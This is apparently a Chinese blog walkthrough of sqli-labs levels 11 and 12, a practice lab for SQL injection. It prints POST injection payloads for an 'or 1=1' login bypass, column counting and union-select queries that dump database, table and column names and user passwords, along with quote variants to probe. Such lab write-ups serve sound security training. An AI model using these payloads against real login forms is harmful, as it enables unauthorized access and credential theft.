sql-lab闯关之11-12

还是老生常谈的四个语句,熟悉一下。
1.查库:select schema_name from information_schema.schemata;
2.查表:select table_name from information_schema.tables where table_schema='security';
3.查列:select column_name from information_schema.columns where table_name='users';
4.查字段:select username,password from security.users;

前面1-10用的是get 方法,后面的是post方法,需要使用burp抓包了。

LESS11

进入界面

 抓包


我们将抓到的数据包中最后一行复制,使用post data进行注入。好了我们关闭代理。
另外,在post注入中我们的注释符不能使用--+了,这是针对URL注入的,我们使用#
输入:uname=admin'&passwd=admin&submit=Submit
我们可以看到由于我们加了一个’ 尝试一下,返回的结果显示存在sql语法错误,证明存在注入漏洞。

 输入:uname=admin' or 1=1 #&passwd=admin&submit=Submit

 这里显示我们登录成功,以Dumb的用户名密码登陆成功,可以验证有注入漏洞。

接着我们就需要上面的四个语句了,熟能生巧多打几遍就记住了。
判断列
输入:uname=a&passwd=a' order by 3#&submit=Submit

 输入:uname=n'order by 2 #&passwd=admin&submit=Submit


 虽然登录失败,但什么也没有显示,可以判断有两列。

输入:uname=n'union select 1,2 #&passwd=admin&submit=Submit  判断回显位置


 输入:uname=n'union select 1,database()#&passwd=admin&submit=Submit  判断出所在security数据库

 同样,我们可以group_concat 和查库函数结合查询所有数据库
输入:uname=n'union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

 可以看出查询到了所有库名,以security为例
输入:uname=n'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

 查询到完了,我们以users为例
输入:uname=n'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

我们查询到了username和password 已经离成功很近了

输入:uname=n'union select 1,group_concat(password)from security.users #&passwd=admin&submit=Submit

当然查询username
输入:uname=n'union select 1,group_concat(username)from security.users #&passwd=admin&submit=Submit
当然,如果需要两者共同显示,我们可以再借助concat_ws函数了
输入:uname=n'union select 1,(select group_concat(concat_ws('-',username,password))from security.users) #&passwd=admin&submit=Submit

 11关完成!

LESS12
12关和11关几乎相同,只不过是数据包的格式改变了而已,变成了(“a”) 将’改为”)就行了!

注:一般测试我们可以测试以下格式,加上 or 1=1 #测试

’)
’))

”)
”))

原文地址:https://www.cnblogs.com/c1047509362/p/12390102.html